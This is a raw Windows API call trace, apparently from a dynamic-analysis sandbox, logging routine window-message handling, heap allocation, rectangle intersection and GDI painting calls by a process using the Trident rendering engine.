[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0103.470] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.470] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.471] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.471] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0103.471] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.471] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0103.471] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0103.471] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0103.471] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0103.471] LsSetDoc () returned 0x0
[0103.471] LsCreateLine () returned 0x0
[0103.471] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.474] LsQueryLinePointPcp () returned 0x0
[0103.474] LsDestroyLine () returned 0x0
[0103.474] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.474] PtInRect (lprc=0x1cf2d4, pt=0x13786) returned 1
[0103.474] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0103.474] GetCursor () returned 0x10005
[0103.474] GetCurrentThreadId () returned 0x4e0
[0103.474] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.474] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.474] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.475] NtdllDefWindowProc_W () returned 0x0
[0103.475] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.477] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.477] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.477] NtdllDefWindowProc_W () returned 0x0
[0103.477] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.477] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.477] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.477] NtdllDefWindowProc_W () returned 0x0
[0103.477] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.477] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.477] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.477] GetCurrentThreadId () returned 0x4e0
[0103.478] GetCurrentThreadId () returned 0x4e0
[0103.478] GetCurrentThreadId () returned 0x4e0
[0103.478] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.478] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.478] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0103.478] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0103.478] PtInRect (lprc=0x1cf5d0, pt=0x329) returned 1
[0103.478] GetCurrentThreadId () returned 0x4e0
[0103.478] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.478] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0103.478] GetMessageTime () returned 29577
[0103.478] GetMessagePos () returned 0x15f0363
[0103.478] GetCapture () returned 0x0
[0103.478] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0103.478] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0103.478] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0103.478] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.478] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.478] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0103.478] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0103.478] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0103.479] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.479] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.479] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0103.479] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.479] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0103.479] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.479] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0103.479] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0103.480] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0103.480] LsSetDoc () returned 0x0
[0103.480] LsCreateLine () returned 0x0
[0103.480] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.482] LsQueryLinePointPcp () returned 0x0
[0103.482] LsDestroyLine () returned 0x0
[0103.482] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.482] PtInRect (lprc=0x1cf24c, pt=0x13786) returned 1
[0103.482] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0103.482] GetCursor () returned 0x10005
[0103.482] GetCurrentThreadId () returned 0x4e0
[0103.482] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.482] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.482] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.482] GetMessageTime () returned 29608
[0103.482] GetMessagePos () returned 0x15f0363
[0103.482] GetCapture () returned 0x0
[0103.482] GetCurrentThreadId () returned 0x4e0
[0103.482] GetCurrentThreadId () returned 0x4e0
[0103.483] GetCurrentThreadId () returned 0x4e0
[0103.483] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0103.483] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.483] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.483] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0103.483] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0103.483] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.483] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.484] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0103.484] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.484] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.484] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0103.484] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.484] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0103.484] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0103.484] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0103.484] LsSetDoc () returned 0x0
[0103.484] LsCreateLine () returned 0x0
[0103.484] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.487] LsQueryLinePointPcp () returned 0x0
[0103.487] LsDestroyLine () returned 0x0
[0103.487] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.487] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0103.487] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0103.487] GetCurrentThreadId () returned 0x4e0
[0103.488] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x10f0329, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0103.488] NtdllDefWindowProc_W () returned 0x0
[0103.488] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0103.488] GetMessageTime () returned 29608
[0103.488] GetMessagePos () returned 0x15f0363
[0103.488] GetCapture () returned 0x0
[0103.488] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0103.488] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0103.488] GetCurrentThreadId () returned 0x4e0
[0103.488] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0103.488] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0103.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0103.489] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0103.489] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0103.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0103.489] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0103.489] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0103.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0103.489] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0103.489] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0103.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0103.489] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4ba8d0 | out: hHeap=0x450000) returned 1
[0103.490] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x10f0329, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0103.490] NtdllDefWindowProc_W () returned 0x0
[0103.490] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0103.490] GetCurrentThreadId () returned 0x4e0
[0103.490] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.490] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.490] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.490] GetCurrentThreadId () returned 0x4e0
[0103.490] GetCurrentThreadId () returned 0x4e0
[0103.490] GetCurrentThreadId () returned 0x4e0
[0103.490] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.490] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.490] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.490] NtdllDefWindowProc_W () returned 0x0
[0103.490] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.490] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.490] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.491] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.491] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf14c, cPoints=0x1 | out: lpPoints=0x1cf14c) returned 5242938
[0103.491] BeginPaint (in: hWnd=0x1013a, lpPaint=0x1cf580 | out: lpPaint=0x1cf580) returned 0x330107bc
[0103.491] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.491] GetCurrentThreadId () returned 0x4e0
[0103.491] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.491] GetCurrentThreadId () returned 0x4e0
[0103.491] IsRectEmpty (lprc=0x1cf588) returned 0
[0103.491] CreateRectRgnIndirect (lprect=0x732e7be0) returned 0xb040257
[0103.491] GetRandomRgn (hdc=0x330107bc, hrgn=0xb040257, i=4) returned 1
[0103.491] OffsetRgn (hrgn=0xb040257, x=-58, y=-80) returned 2
[0103.491] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf13c, cPoints=0x1 | out: lpPoints=0x1cf13c) returned 5242938
[0103.491] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0103.491] IntersectRect (in: lprcDst=0x1cf1fc, lprcSrc1=0x461d2c, lprcSrc2=0x461d1c | out: lprcDst=0x1cf1fc) returned 1
[0103.491] IntersectRect (in: lprcDst=0x1cf1ec, lprcSrc1=0x1cf1ec, lprcSrc2=0x1cf0d8 | out: lprcDst=0x1cf1ec) returned 0
[0103.491] IsRectEmpty (lprc=0x1cf1ec) returned 1
[0103.491] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48efe0 | out: hHeap=0x450000) returned 1
[0103.491] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48efe0
[0103.492] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0103.492] GetDeviceCaps (hdc=0x330107bc, index=14) returned 1
[0103.492] GetDeviceCaps (hdc=0x330107bc, index=12) returned 32
[0103.492] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x497c68
[0103.492] CreateCompatibleBitmap (hdc=0x330107bc, cx=1324, cy=150) returned 0x140501e4
[0103.494] CreateCompatibleDC (hdc=0x330107bc) returned 0x90101e7
[0103.494] SelectObject (hdc=0x90101e7, h=0x140501e4) returned 0x185000f
[0103.494] GetCurrentObject (hdc=0x330107bc, type=0x5) returned 0x188000b
[0103.494] SelectPalette (hdc=0x90101e7, hPal=0x188000b, bForceBkgd=1) returned 0x188000b
[0103.494] RealizePalette (hdc=0x90101e7) returned 0x0
[0103.495] GetRegionData (in: hrgn=0xb040257, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30
[0103.495] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.495] GetRegionData (in: hrgn=0xb040257, nCount=0x30, lpRgnData=0x4b2cd0 | out: lpRgnData=0x4b2cd0) returned 0x30
[0103.495] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ca8
[0103.495] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ca8 | out: hHeap=0x450000) returned 1
[0103.495] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.495] IntersectRect (in: lprcDst=0x1cc824, lprcSrc1=0x1cc824, lprcSrc2=0x1cc7f4 | out: lprcDst=0x1cc824) returned 1
[0103.495] IntersectRect (in: lprcDst=0x1cc754, lprcSrc1=0x1cc754, lprcSrc2=0x1cc724 | out: lprcDst=0x1cc754) returned 1
[0103.495] IntersectRect (in: lprcDst=0x1cc648, lprcSrc1=0x1cc648, lprcSrc2=0x1cc638 | out: lprcDst=0x1cc648) returned 1
[0103.495] GetObjectType (h=0x330107bc) returned 0x3
[0103.495] GetDeviceCaps (hdc=0x330107bc, index=2) returned 1
[0103.495] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.495] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0xf040259
[0103.495] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.495] SelectClipRgn (hdc=0x330107bc, hrgn=0xf040259) returned 2
[0103.495] DeleteObject (ho=0xf040259) returned 1
[0103.495] _CIsqrt () returned 0x3f1a027f
[0103.495] _CIsqrt () returned 0x3f1a027f
[0103.495] _CIatan2 () returned 0x20
[0103.495] _CIatan2 () returned 0x20
[0103.495] GetStockObject (i=8) returned 0x1b00016
[0103.495] SelectObject (hdc=0x330107bc, h=0x1b00016) returned 0x1b00017
[0103.495] GetViewportOrgEx (in: hdc=0x330107bc, lppoint=0x1cc42c | out: lppoint=0x1cc42c) returned 1
[0103.496] SelectObject (hdc=0x330107bc, h=0x40100214) returned 0x1900010
[0103.496] UnrealizeObject (h=0x40100214) returned 1
[0103.496] SetBrushOrgEx (in: hdc=0x330107bc, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] Polygon (hdc=0x330107bc, apt=0x1cc350, cpt=6) returned 1
[0103.496] SelectObject (hdc=0x330107bc, h=0x51007c0) returned 0x40100214
[0103.496] UnrealizeObject (h=0x51007c0) returned 1
[0103.496] SetBrushOrgEx (in: hdc=0x330107bc, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.496] Polygon (hdc=0x330107bc, apt=0x1cc350, cpt=8) returned 1
[0103.506] SelectObject (hdc=0x330107bc, h=0xa100215) returned 0x51007c0
[0103.506] UnrealizeObject (h=0xa100215) returned 1
[0103.506] SetBrushOrgEx (in: hdc=0x330107bc, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0103.506] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.506] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.506] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.506] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0103.506] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.506] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0103.506] Polygon (hdc=0x330107bc, apt=0x1cc350, cpt=6) returned 1
